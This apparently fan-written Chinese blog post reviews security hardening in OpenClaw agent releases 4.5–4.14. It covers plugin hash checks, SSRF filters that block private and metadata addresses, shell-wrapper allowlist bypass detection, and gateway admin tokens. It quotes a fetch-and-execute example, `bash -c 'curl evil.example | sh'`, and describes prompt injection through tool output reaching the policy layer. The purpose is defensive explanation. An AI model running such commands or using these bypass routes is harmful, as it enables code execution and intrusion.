這是粉絲自建網站,與 OpenClaw 官方及 Anthropic 無關。 github.com/openclaw/openclaw
release security browser breaking-changes

OpenClaw 4.5–4.14:第二次圍城——你大概沒注意到的十天安全攻堅

OpenClaws.io Team

OpenClaws.io Team

@openclaws

April 14, 2026

10 分鐘

OpenClaw 4.5–4.14:第二次圍城——你大概沒注意到的十天安全攻堅

這一輪發布,大部分東西截圖是截不出來的。十天,八個版本,diff 的大頭都躲在那些不出事就沒人看的地方——外掛載入器、瀏覽器工具的 URL 解析器、閘道 config 端點、allowlist 表、依賴清單。安全工作本來就該是安靜的。這篇文章是那份安靜的加長版本。

如果你跑 OpenClaw 的那台筆電同時也裝著你的 SSH key、你的密碼管理器、你還沒報完的稅,以及一個到處都登著號的瀏覽器——繼續往下看。這一輪發布改變的是龍蝦被允許碰到的東西的邊界。

外掛現在會驗證,而不只是下載

4.7 之前,從 registry 裝一個外掛做的事情跟你想的一樣:拉歸檔、解壓縮、跑起來。registry 本身是被信任的;歸檔本身不會被重新驗證。萬一 registry 的 CDN 在傳輸中途被替換、某個鏡像被投毒,或者有人在邊緣做了中間人,龍蝦都會高高興興地把回來的東西裝上。

4.7 把這條路堵了。每一個外掛歸檔在發布時都被釘死一個 SHA-256 雜湊,安裝器拒絕解壓位元組不相符的任何東西。如果你寫外掛,openclaw plugin publish 流程會自動把雜湊寫進 manifest——你什麼都不用做。如果你裝外掛,出問題的第一反應是一條清晰的報錯,而不是一次靜默的安裝。

4.9 的跟進版本把同一套驗證延伸到了外掛更新——這一步之前一直在悄悄跳過驗證,理由是舊版本已經過了檢查。這正是攻擊者專找的那種假設。現在這個假設沒了。

瀏覽器工具的 SSRF 過濾器,改了三遍

瀏覽器工具讓龍蝦能抓頁面、跟著連結跳、跑一點點 JavaScript,然後把看到的東西帶回來。它是整個產品裡最有用的工具之一,同時也是最危險的之一——任何一個替 LLM 去取 URL 的東西,都可能被說服去取錯的 URL。Server-Side Request Forgery(SSRF)是給這種失敗模式起的體面名字。

這十天裡,SSRF 過濾器被重寫了三次。

4.7 把主機 allowlist 檢查的位置擰到了 DNS 解析之後,而不是之前。老版本是拿主機名字串先去比 allowlist,然後再解析。這意味著一個看上去是外部位址、但透過一條受控的 DNS 紀錄解析到 127.0.0.1 的主機名可以偷偷溜進去。現在,解析後的 IP 會去對照私有位址段和 loopback 段的 denylist,一旦命中,不管原來的名字看起來多正經,請求都會被拒掉。

4.9 補上了 IPv6 的覆蓋。前一版處理了 10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8 以及 link-local——清一色 IPv4。對應的 IPv6 段(fc00::/7、fe80::/10、::1)理論上被「不在 allowlist 裡」的兜底邏輯覆蓋著,但從來沒端到端測過。4.9 把它們升格為一等的拒絕規則,並且補上了測試矩陣。

4.10 堵了重新導向追蹤的一個漏洞。如果第一個 URL 通過了過濾,但回傳一個 302 指向私有 IP,老程式碼會跟著跳,不再重新檢查。現在,重新導向鏈裡的每一跳都會獨立過一遍過濾器。瀏覽器工具可以整天跟著一個公網位址跳到另一個公網位址;但它不會從公網位址跳到 169.254.169.254——如果你是在某個雲端實例裡跑這玩意兒,這就是那個要緊的位址。

4.14 是這幾次裡會給一部分人帶來真正相容性破壞的那一版。它把瀏覽器工具對外介面裡的 file:// URL 完全禁掉了。透過瀏覽器工具讀本機檔案本來是一個沒寫在文件裡的副作用,有幾個工作流開始依賴它,但這件事本身就是錯的:本機檔案讀取歸檔案工具管,那個工具有自己一整套沙箱方案。如果你之前一直把 browser.open('file://...') 當捷徑用,現在你得切到 file.read,並且接受檔案工具在你這套環境下執行的 allowlist。

一個新的 CLI,用來稽核龍蝦到底能跑什麼

4.10 發了 openclaw exec-policy——一個唯讀 CLI,把當前 workspace 生效的 shell 執行政策一次性打出來。它會在一屏之內告訴你:哪些命令在 allowlist 上、哪些被拒、哪些需要二次確認,以及每一條規則是從哪裡來的(使用者設定、workspace 設定、外掛,或者預設值)。

裝完一個新外掛之後就該跑它。外掛可以註冊 shell 命令;大多數都沒毛病;少數會悄悄擴大龍蝦能執行的東西的範圍。4.10 之前,合併後的結果沒有一個統一的地方能看——你得翻好幾份設定檔、自己推優先順序。現在一條命令就能看到,而且輸出穩定到可以管道接進一個測試裡。

4.12 的配套改動更小、但挺損:執行層現在會識別試圖用 shell 包裝命令繞過 allowlist 的呼叫方式。經典套路是 bash -c 'curl evil.example | sh'——在 bash 被允許、curl 被禁的情況下。包裝偵測會盯上 -c 這種形式,把裡面的命令字串剝出來,按它被直接呼叫一樣過一遍 allowlist。如果裡面那條命令本來會被拒,外層包裝也一起被拒。

閘道 config 端點加了守衛

如果你在 gateway 模式下跑 OpenClaw——就是多個客戶端共用一隻龍蝦實例的那個模式——閘道會暴露一個小的 admin API,用來讀寫伺服器端設定。4.7 和 4.14 把這一端收緊了。

4.7 把 config.apply(替換整份設定)和 config.patch(合併一次局部更新)拆開了。兩者以前都存在,但共用同一條程式碼路徑,合併語意沒定義清楚到那種程度——透過 patch 一個同級欄位就能把一個巢狀的 admin key 幹掉。拆開之後,每個動詞都有自己的驗證器。patch 現在是真正的深度合併,要顯式刪除就得用 $delete 哨兵;apply 則要求傳入一份完整合法的設定,否則直接拒掉。

4.14 在這兩個端點上加了一條:只要閘道綁到了 localhost 以外的任何位址,都必須帶一個簽名過的 token。如果你之前在一台開發機上用 --host 0.0.0.0 跑閘道、靠網路分段把人擋在外面——現在閘道會在這種設定下拒絕啟動,除非你同時傳 --admin-token,或者顯式地用 --admin-insecure 退出這道保護。這個 flag 的名字是故意起得難看的。你應該必須親手打出「insecure」這個詞,才能拿回老行為。

被當成範本資料的憑證

4.12 修了一個存在很久的難看問題:新 workspace 自帶的 .env.example 裡有一堆佔位 API key,它們長得足夠真,以至於至少有一個使用者把它們當假的提交到了一個公開儲存庫。它們確實是假的——值全是零字串,放在任何 provider 上都不合法——但它們的形狀像憑證,我們測過的 linter 把它們報成了憑證洩漏。新的 .env.example 換成了一看就明顯是假的 token(REPLACE_ME_OR_I_WILL_FAIL),而 openclaw init 流程現在會拒絕把一份含有這類哨兵值的 .env 寫到盤上。

小事。後果也不嚴重。但修掉它的成本是一個下午,不修的代價是將來得再解釋一次公開事故。

allowlist 邊界,悄悄地收緊

這一輪每一個版本裡,坐在龍蝦和外界之間的那些 allowlist 表都以很小、很具體的方式被收緊了:

  • 4.5:音樂工具的輸出目錄預設到 ./generated/music,不再是 workspace 碰巧認為「output」在哪裡就寫到哪裡。
  • 4.7:記憶匯入的來源被收窄到 file://https:// 以及特定 provider 的 URL。老程式碼接受任何 urllib 能解析的 URL scheme,其中包括一些會讓你意外的。
  • 4.9:影片生成工具的上傳路徑不再接受 workspace 根目錄之外的絕對路徑。
  • 4.10:外掛的 manifest 不再允許把 * 作為 allowlist 模式宣告出來。必須寫具體的網域或方法。
  • 4.14:Codex provider 的專用客戶端使用與統一 allowlist 分開的一份清單——這樣收緊 Codex 不會意外地放寬其他東西。

這些單拎出來哪一條都不算故事。合在一起,它們把炸半徑朝對的方向挪了一點。

執行時事件的信任度,被下調了

一個更細的變化,貫穿 4.7、4.9、4.14:從執行時來的事件(工具呼叫、模型輸出、外掛回呼)不再被當作策略引擎的可信輸入。過去,一個工具發出的結構化事件可以透過它自己控制的資料去影響後續的 allowlist 決策——這就是那個經典的「prompt injection 碰到了策略層」的失敗模式。執行時事件現在必須先過一輪獨立的清洗,才能參與後續任何策略判定;而策略引擎會把來源是「runtime」的欄位預設標成污染,除非有一個人類操作員顯式把它釘住。

落到實處是:一些依賴「龍蝦自己的工具輸出去收窄龍蝦自己的行為」的邊緣工作流需要重寫。新的做法是寫一條策略規則,而不是讓工具發一條提示。如果你撞上了這種情況,4.10 那個 exec-policy CLI 就是你的診斷工具。

依賴稽核

4.9 和 4.14 都完整跑了一遍 cargo auditnpm audit,把所有還有未結 advisory 的傳遞依賴都往上拉了一版。就我們能看到的範圍而言,清單裡沒有哪條正在被針對 OpenClaw 利用;這是例行維護,不是事故回應。這些升級是故意做得無聊的。

唯一一個不無聊的升級:閘道用的那個 WebSocket 函式庫在 4.14 跨了一個大版本,關閉幀上報 reason code 的方式變了。如果你之前有程式碼在閘道的 socket 斷開訊號上讀 event.reason,現在它是字串而不是 buffer 了。這是一個破壞性變更。4.14 的 changelog 裡專門標了出來。

新的一路訊號:AI 輔助安全審查

最後一件值得點名的事——4.14 引入了一條內部工作流:在安全相關的 diff 合併之前,讓第二個模型過一遍。它不會阻攔合併,只留評論。這一輪裡,它抓到了兩件人工 review 放過去的事:4.9 那次 SSRF 重寫裡的 IPv6 漏洞(合併前被修掉了),以及 4.7 那次 config.patch 拆分裡 $delete 哨兵的歧義(結果是做成了一個顯式驗證器,而不是那個隱式的)。

我們不想吹過頭。第二個模型替代不了第二個人。但它確實是第二遍,而且在這十天快節奏的安全工作裡,它就是那個抓住了兩件原本會帶病上線的東西的一遍。它會繼續跑。

一句話版

這篇文章如果你只記一件事:跑 openclaw update 升到 4.14,然後跑一次 openclaw exec-policy,看看龍蝦在你這台機器上實際能做些什麼。如果輸出讓你意外,就去收緊它。過去這十天所有工作的意義就在於——你現在可以收緊。

還有,如果你是那些在 --host 0.0.0.0 上跑閘道、又沒配 admin token 的人之一——請在跑 openclaw update 之前先把這事修了,因為 4.14 在這種設定下會直接拒絕啟動;我們更希望你是先讀到這篇文章,而不是先看到報錯,然後以為是什麼東西壞了。

訂閱更新

第一時間收到新功能和整合資訊。不會發垃圾信,隨時可以退訂。